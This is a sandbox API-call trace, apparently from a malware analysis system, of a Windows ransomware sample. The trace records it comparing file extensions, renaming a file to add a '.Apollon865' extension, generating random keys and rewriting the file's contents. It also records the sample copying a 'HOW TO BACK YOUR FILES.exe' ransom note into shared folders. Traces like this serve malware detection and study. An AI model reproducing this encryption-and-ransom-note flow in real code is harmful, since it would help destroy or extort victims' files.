	[0085.374] lstrcmpiW (lpString1="H1Q", lpString2="$er") returned 1
	[0085.374] lstrlenW (lpString="4dd") returned 3
	[0085.374] lstrcmpiW (lpString1="H1Q", lpString2="4dd") returned 1
	[0085.374] lstrlenW (lpString="4dl") returned 3
	[0085.374] lstrcmpiW (lpString1="H1Q", lpString2="4dl") returned 1
	[0085.375] lstrlenW (lpString="^^^") returned 3
	[0085.375] lstrcmpiW (lpString1="H1Q", lpString2="^^^") returned 1
	[0085.375] lstrlenW (lpString="abs") returned 3
	[0085.375] lstrcmpiW (lpString1="H1Q", lpString2="abs") returned 1
	[0085.375] lstrlenW (lpString="abx") returned 3
	[0085.375] lstrcmpiW (lpString1="H1Q", lpString2="abx") returned 1
	[0085.375] lstrlenW (lpString="accdb") returned 5
	[0085.375] lstrcmpiW (lpString1="}.H1Q", lpString2="accdb") returned -1
	[0085.375] lstrlenW (lpString="accdc") returned 5
	[0085.375] lstrcmpiW (lpString1="}.H1Q", lpString2="accdc") returned -1
	[0085.375] lstrlenW (lpString="accde") returned 5
	[0085.375] lstrcmpiW (lpString1="}.H1Q", lpString2="accde") returned -1
	[0085.375] lstrlenW (lpString="accdr") returned 5
	[0085.375] lstrcmpiW (lpString1="}.H1Q", lpString2="accdr") returned -1
	[0085.375] lstrlenW (lpString="accdt") returned 5
	[0085.375] lstrcmpiW (lpString1="}.H1Q", lpString2="accdt") returned -1
	[0085.375] lstrlenW (lpString="accdw") returned 5
	[0085.375] lstrcmpiW (lpString1="}.H1Q", lpString2="accdw") returned -1
	[0085.375] lstrlenW (lpString="accft") returned 5
	[0085.375] lstrcmpiW (lpString1="}.H1Q", lpString2="accft") returned -1
	[0085.375] lstrlenW (lpString="adb") returned 3
	[0085.375] lstrcmpiW (lpString1="H1Q", lpString2="adb") returned 1
	[0085.375] lstrlenW (lpString="adb") returned 3
	[0085.375] lstrcmpiW (lpString1="H1Q", lpString2="adb") returned 1
	[0085.375] lstrlenW (lpString="ade") returned 3
	[0085.375] lstrcmpiW (lpString1="H1Q", lpString2="ade") returned 1
	[0085.375] lstrlenW (lpString="adf") returned 3
	[0085.375] lstrcmpiW (lpString1="H1Q", lpString2="adf") returned 1
	[0085.375] lstrlenW (lpString="adn") returned 3
	[0085.375] lstrcmpiW (lpString1="H1Q", lpString2="adn") returned 1
	[0085.375] lstrlenW (lpString="adp") returned 3
	[0085.375] lstrcmpiW (lpString1="H1Q", lpString2="adp") returned 1
	[0085.375] lstrlenW (lpString="alf") returned 3
	[0085.375] lstrcmpiW (lpString1="H1Q", lpString2="alf") returned 1
	[0085.375] lstrlenW (lpString="ask") returned 3
	[0085.375] lstrcmpiW (lpString1="H1Q", lpString2="ask") returned 1
	[0085.375] lstrlenW (lpString="btr") returned 3
	[0085.375] lstrcmpiW (lpString1="H1Q", lpString2="btr") returned 1
	[0085.376] lstrlenW (lpString="cat") returned 3
	[0085.376] lstrcmpiW (lpString1="H1Q", lpString2="cat") returned 1
	[0085.376] lstrlenW (lpString="cdb") returned 3
	[0085.376] lstrcmpiW (lpString1="H1Q", lpString2="cdb") returned 1
	[0085.376] lstrlenW (lpString="ckp") returned 3
	[0085.376] lstrcmpiW (lpString1="H1Q", lpString2="ckp") returned 1
	[0085.376] lstrlenW (lpString="cma") returned 3
	[0085.376] lstrcmpiW (lpString1="H1Q", lpString2="cma") returned 1
	[0085.376] lstrlenW (lpString="cpd") returned 3
	[0085.376] lstrcmpiW (lpString1="H1Q", lpString2="cpd") returned 1
	[0085.376] lstrlenW (lpString="dacpac") returned 6
	[0085.376] lstrcmpiW (lpString1="5}.H1Q", lpString2="dacpac") returned -1
	[0085.376] lstrlenW (lpString="dad") returned 3
	[0085.376] lstrcmpiW (lpString1="H1Q", lpString2="dad") returned 1
	[0085.376] lstrlenW (lpString="dadiagrams") returned 10
	[0085.376] lstrcmpiW (lpString1="32D95}.H1Q", lpString2="dadiagrams") returned -1
	[0085.376] lstrlenW (lpString="daschema") returned 8
	[0085.376] lstrcmpiW (lpString1="D95}.H1Q", lpString2="daschema") returned -1
	[0085.376] lstrlenW (lpString="db-journal") returned 10
	[0085.376] lstrcmpiW (lpString1="32D95}.H1Q", lpString2="db-journal") returned -1
	[0085.376] lstrlenW (lpString="db-shm") returned 6
	[0085.376] lstrcmpiW (lpString1="5}.H1Q", lpString2="db-shm") returned -1
	[0085.376] lstrlenW (lpString="db-wal") returned 6
	[0085.376] lstrcmpiW (lpString1="5}.H1Q", lpString2="db-wal") returned -1
	[0085.376] lstrlenW (lpString="dbc") returned 3
	[0085.376] lstrcmpiW (lpString1="H1Q", lpString2="dbc") returned 1
	[0085.376] lstrlenW (lpString="dbs") returned 3
	[0085.376] lstrcmpiW (lpString1="H1Q", lpString2="dbs") returned 1
	[0085.376] lstrlenW (lpString="dbt") returned 3
	[0085.376] lstrcmpiW (lpString1="H1Q", lpString2="dbt") returned 1
	[0085.376] lstrlenW (lpString="dbv") returned 3
	[0085.376] lstrcmpiW (lpString1="H1Q", lpString2="dbv") returned 1
	[0085.376] lstrlenW (lpString="dbx") returned 3
	[0085.376] lstrcmpiW (lpString1="H1Q", lpString2="dbx") returned 1
	[0085.376] lstrlenW (lpString="dcb") returned 3
	[0085.376] lstrcmpiW (lpString1="H1Q", lpString2="dcb") returned 1
	[0085.377] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q.Apollon865") returned 114
	[0085.377] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help{9daa54e8-cd95-4107-8e7f-ba3f24732d95}.h1q"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help{9daa54e8-cd95-4107-8e7f-ba3f24732d95}.h1q.apollon865"), dwFlags=0x1) returned 1
	[0085.378] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help{9daa54e8-cd95-4107-8e7f-ba3f24732d95}.h1q.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0085.378] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=873232) returned 1
	[0085.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0085.379] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0085.379] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0085.379] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0085.379] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0085.379] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0085.380] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd5610, lpName=0x0) returned 0x15c
	[0085.381] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd5610) returned 0x2bb0000
	[0085.421] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0085.422] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0085.422] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0085.422] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0085.422] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0085.422] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0085.422] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0085.422] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0085.422] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0085.423] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0085.423] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0085.423] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0085.423] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0085.423] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1
	[0085.431] CloseHandle (hObject=0x15c) returned 1
	[0085.431] CloseHandle (hObject=0x9c) returned 1
	[0085.431] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0085.431] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0085.431] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0085.435] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30030730, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30030730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0085.435] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0085.435] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30030730, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30030730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0085.435] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0085.435] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a90
	[0085.435] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Favorites", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Favorites") returned="C:\\Users\\All Users\\Favorites"
	[0085.435] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b5f20 | out: hHeap=0x580000) returned 1
	[0085.435] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0085.435] lstrlenW (lpString="C:\\Users\\All Users\\Favorites") returned 28
	[0085.435] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Favorites" | out: lpString1="C:\\Users\\All Users\\Favorites") returned="C:\\Users\\All Users\\Favorites"
	[0085.435] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0085.435] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0085.437] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0085.437] GetLastError () returned 0x0
	[0085.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0085.437] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0085.437] CloseHandle (hObject=0x10c) returned 1
	[0085.437] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0085.437] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0085.437] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Favorites\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30030730, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30030730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0085.438] GetLastError () returned 0x5
	[0085.438] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Favorites\\* FindFirstFile error 5\r\n") returned 62
	[0085.438] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Favorites\\* FindFirstFile error 5\r\n") returned 62
	[0085.438] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0085.438] SetFilePointer (in: hFile=0x10c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x610f
	[0085.438] WriteFile (in: hFile=0x10c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x3e, lpOverlapped=0x0) returned 1
	[0085.438] CloseHandle (hObject=0x10c) returned 1
	[0085.439] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bb0
	[0085.439] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Documents", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Documents") returned="C:\\Users\\All Users\\Documents"
	[0085.439] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b62c8 | out: hHeap=0x580000) returned 1
	[0085.439] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ba8 | out: hHeap=0x580000) returned 1
	[0085.439] lstrlenW (lpString="C:\\Users\\All Users\\Documents") returned 28
	[0085.439] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Documents" | out: lpString1="C:\\Users\\All Users\\Documents") returned="C:\\Users\\All Users\\Documents"
	[0085.439] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0085.439] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0085.439] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0085.440] GetLastError () returned 0x0
	[0085.440] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0085.440] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0085.440] CloseHandle (hObject=0x10c) returned 1
	[0085.440] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0085.440] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0085.440] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Documents\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30030730, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30030730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0085.440] GetLastError () returned 0x5
	[0085.440] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Documents\\* FindFirstFile error 5\r\n") returned 62
	[0085.440] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Documents\\* FindFirstFile error 5\r\n") returned 62
	[0085.440] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0085.440] SetFilePointer (in: hFile=0x10c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x614d
	[0085.440] WriteFile (in: hFile=0x10c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x3e, lpOverlapped=0x0) returned 1
	[0085.441] CloseHandle (hObject=0x10c) returned 1
	[0085.441] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a30
	[0085.441] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Desktop", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Desktop") returned="C:\\Users\\All Users\\Desktop"
	[0085.441] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca3d0 | out: hHeap=0x580000) returned 1
	[0085.441] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a28 | out: hHeap=0x580000) returned 1
	[0085.441] lstrlenW (lpString="C:\\Users\\All Users\\Desktop") returned 26
	[0085.441] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Desktop" | out: lpString1="C:\\Users\\All Users\\Desktop") returned="C:\\Users\\All Users\\Desktop"
	[0085.441] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0085.441] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0085.442] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0085.442] GetLastError () returned 0x0
	[0085.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0085.442] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0085.442] CloseHandle (hObject=0x10c) returned 1
	[0085.442] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0085.442] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0085.442] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Desktop\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30030730, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30030730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0085.442] GetLastError () returned 0x5
	[0085.442] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Desktop\\* FindFirstFile error 5\r\n") returned 60
	[0085.442] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Desktop\\* FindFirstFile error 5\r\n") returned 60
	[0085.442] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0085.443] SetFilePointer (in: hFile=0x10c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x618b
	[0085.443] WriteFile (in: hFile=0x10c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x3c, lpOverlapped=0x0) returned 1
	[0085.443] CloseHandle (hObject=0x10c) returned 1
	[0085.443] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a10
	[0085.443] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Application Data", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Application Data") returned="C:\\Users\\All Users\\Application Data"
	[0085.443] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdca8 | out: hHeap=0x580000) returned 1
	[0085.443] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a08 | out: hHeap=0x580000) returned 1
	[0085.443] lstrlenW (lpString="C:\\Users\\All Users\\Application Data") returned 35
	[0085.443] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Application Data" | out: lpString1="C:\\Users\\All Users\\Application Data") returned="C:\\Users\\All Users\\Application Data"
	[0085.443] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0085.443] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0085.444] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0085.444] GetLastError () returned 0x0
	[0085.444] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0085.444] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0085.444] CloseHandle (hObject=0x10c) returned 1
	[0085.444] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0085.444] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0085.444] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Application Data\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30030730, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30030730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0085.444] GetLastError () returned 0x5
	[0085.444] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Application Data\\* FindFirstFile error 5\r\n") returned 69
	[0085.444] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Application Data\\* FindFirstFile error 5\r\n") returned 69
	[0085.444] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0085.445] SetFilePointer (in: hFile=0x10c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x61c7
